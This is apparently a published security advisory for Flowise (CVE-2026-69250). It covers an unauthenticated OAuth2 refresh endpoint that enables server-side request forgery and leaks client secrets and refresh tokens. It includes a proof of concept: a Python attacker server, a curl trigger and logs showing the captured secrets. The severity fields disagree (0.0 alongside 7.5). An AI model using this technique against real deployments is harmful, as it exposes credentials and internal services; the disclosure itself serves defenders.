GHSA-r745-8hwv-h473 CVE-2026-69250
Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.57%
- Chance of exploitation in the next 30 days. Higher than 47.35% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-639 Authorization Bypass Through User-Controlled Key
- Fix
3.1.3- Upgrade flowise to this version or later
Description
Summary
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.
Details
The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.
Confirmed in runtime code:
-
Unauthenticated route via whitelist
dist/utils/constants.jsincludes:/api/v1/oauth2-credential/callback/api/v1/oauth2-credential/refresh
dist/index.jsauth middleware uses:const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
- Therefore
/api/v1/oauth2-credential/refresh/:credentialIdis treated as whitelisted.
-
User-controlled SSRF target
- In refresh handler (
dist/routes/oauth2/index.js):- loads credential by
credentialId - decrypts credential data
- reads
accessTokenUrl - executes:
axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)
- loads credential by
- No
secureAxiosRequest()/ denylist wrapper is used in this path.
- In refresh handler (
-
Non-blind response reflection
- Response returns:
tokenInfo: { ...tokenData, ... }
tokenDatais the attacker/internal server response body.
- Response returns:
-
Secrets sent to SSRF target
- Request body includes:
client_idclient_secretgrant_type=refresh_tokenrefresh_token
- Request body includes:
PoC
Environment used
flowiseai/flowise:latestcontainer (localhost:3000)- Attacker server (
localhost:18081) returning JSON
Step 1: Start attacker server
python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_POST(self):
l = int(self.headers.get('Content-Length','0'))
b = self.rfile.read(l).decode('utf-8', errors='replace')
print('REQUEST_PATH', self.path, flush=True)
print('REQUEST_BODY', b, flush=True)
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
def log_message(self, fmt, *args):
pass
HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY
Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)
In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.
Resulting credential ID used in runtime validation:
24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef
Step 3: Trigger refresh without auth
curl -i -X POST \
http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
-H 'Content-Type: application/json' \
-d '{}'
Observed response:
{
"success": true,
"message": "OAuth2 token refreshed successfully",
"credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
"tokenInfo": {
"ok": true,
"source": "attacker-server",
"echo_len": 76,
"has_new_refresh_token": false
}
}
Attacker server logs captured:
REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2
This confirms:
- unauthenticated trigger,
- server-side POST to attacker-controlled URL,
- exfiltration of OAuth2 secrets in POST body,
- full response reflection to client (
tokenInfo).
Impact
- Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
- Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
- Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
- Technical impact:
- outbound SSRF to attacker/internal targets,
- direct leak of
client_secretandrefresh_tokento SSRF target, - direct response read from target via API response (
tokenInfo).
- Deployment impact:
- cloud/internal network reachability can expose metadata/internal services depending on egress controls.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| flowise | < 3.1.3 |
3.1.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
flowise npm → 3.1.3
- npm
npm install flowise@3.1.3- yarn
yarn add flowise@3.1.3- pnpm
pnpm add flowise@3.1.3
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- High
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-639: Authorization Bypass Through User-Controlled Key
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
How to prevent it
- Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
- Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
- Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-w7x8-q2gp-5cgg Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass | Critical | Also affects flowise |
| GHSA-9gvv-qjj3-2p6g Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium | High | Also affects flowise |
| GHSA-qgvm-j2hm-6m38 Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service | Critical | Also affects flowise |
| GHSA-5xvg-pmgg-3mxr Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability | Critical | Also affects flowise |
| GHSA-gmmw-qg98-6j6p Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation | High | Also affects flowise |
| GHSA-8gj2-2cvc-6xx7 Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials | Medium | Also affects flowise |
| GHSA-fm2f-4339-4p2f Flowise: Missing Authorization on Execution Update Endpoint | Medium | Also affects flowise |
| GHSA-wch5-xp77-fxg4 Flowise: Cross-Workspace OAuth2 Credential Metadata Leak | High | Also affects flowise |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor